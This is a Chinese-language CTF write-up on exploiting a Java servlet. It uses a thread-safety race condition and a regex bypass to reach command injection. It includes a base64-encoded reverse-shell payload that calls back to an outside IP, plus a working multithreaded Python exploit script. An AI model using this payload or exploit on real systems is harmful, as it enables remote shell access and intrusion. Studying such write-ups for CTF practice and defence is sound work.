某比赛的某题

今天准备继续学fastjson的,朋友丢过来一道题,看了一下是java的Servlet

给了附件:

package com.le1a.web.servlet;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.util.regex.Matcher;
import java.util.regex.Pattern;

@WebServlet("/test")
public class BisaiServlet extends HttpServlet {
    public int isok;

    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse response) throws ServletException, IOException {
        isok=1;
        String cmd = req.getParameter("cmd");
        if(cmd==null){
            response.getWriter().write("please input  get cmd");
        }
        String status = req.getParameter("status");
        if(status.equals("isok")){
            isok=0;
            try {
                Thread.sleep(1000);
            } catch (InterruptedException e) {
                e.printStackTrace();
            }
        }

        if(isok==0){
            return;
        }
        if(status.equals("isok")){
            try {
                response.getClass().getMethod("setStatus", new Class[]{int.class}).invoke(response, new Object[]{new Integer(200)});
            } catch (IllegalAccessException e) {
                e.printStackTrace();
            } catch (InvocationTargetException e) {
                e.printStackTrace();
            } catch (NoSuchMethodException e) {
                e.printStackTrace();
            }
   

            Pattern p = Pattern.compile("\\$\\(printf .*?\\)");
            Matcher m = p.matcher(cmd);
            boolean b = m.matches();
            if(b){
//                response.getWriter().write(cmd);
                String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") ? new String[]{"cmd.exe", "/c", cmd} : new String[]{"/bin/sh", "-c", cmd};               byte[] result = (new java.util.Scanner((new ProcessBuilder(cmds)).start().getInputStream())).useDelimiter("\\A").next().getBytes();

                response.getOutputStream().write(result);
                response.getOutputStream().flush();
                response.getOutputStream().close();
            }

        }else{
            response.getWriter().write("no no no~");
        }
    }
}

大致看了一下代码,请求两个参数,一个cmd、一个status,首先就是判断status是否为isok,如果是的话就设置isok参数为0,接着走到下一个if语句就直接return了,而命令执行的逻辑是在后面的if语句中,而这两个if语句的判断条件是一致的,也就是不能走到这个if,但要走到下面的if中,这里就又涉及到Servlet的线性安全问题了,以前y4师傅也提到过这个,VNCTF也出现过,这里就不在赘述了,总之就是跑条件竞争就好了。

继续看后面,有一个正则匹配\\$\\(printf .*?\\),需要cmd中匹配到正则,然后才能进入下一个if,最后是拼凑出了能用的payload:

$(printf 1) || 命令 || echo \)

本地curl一下看一下命令是否被执行

image-20220408133415718

发现能成功执行,接下来就改一下命令,直接反弹shell,值得注意的是Java环境反弹shell需要Base64才行,所以payload为:

/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=isok
/test?cmd=$(printf 1) || bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ==}|{base64,-d}|{bash,-i}&status=Le1a

因为Payload中含有&,会与传参的&混淆,所以将其url编码一下。

EXP:

import requests
import threading

url1 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=isok"
url2 = "http://82.156.76.166:8083/test?cmd=%24(printf%201)%20%7C%7C%20bash%20-c%20'%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xMDEuNDMuNjYuNjcvMTIzNDUgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D'%20%7C%7C%20echo%20%5C)&status=Le1a"

def one(session):
    while event.isSet():
        res = session.get(url=url1).text

def two(session):
    while event.isSet():
        res = session.get(url=url2).text

if __name__ == '__main__':
    event = threading.Event()
    event.set()
    session = requests.session()
    for i in range(1, 30):
        threading.Thread(target=one, args=(session,)).start()
    for i in range(1, 30):
        threading.Thread(target=two, args=(session,)).start()

监听端口,然后运行脚本,收到反弹的Shell,find找一下flag,得到flag:

flag{i_love_Gcker_very_m0ch}
image-20220408133849351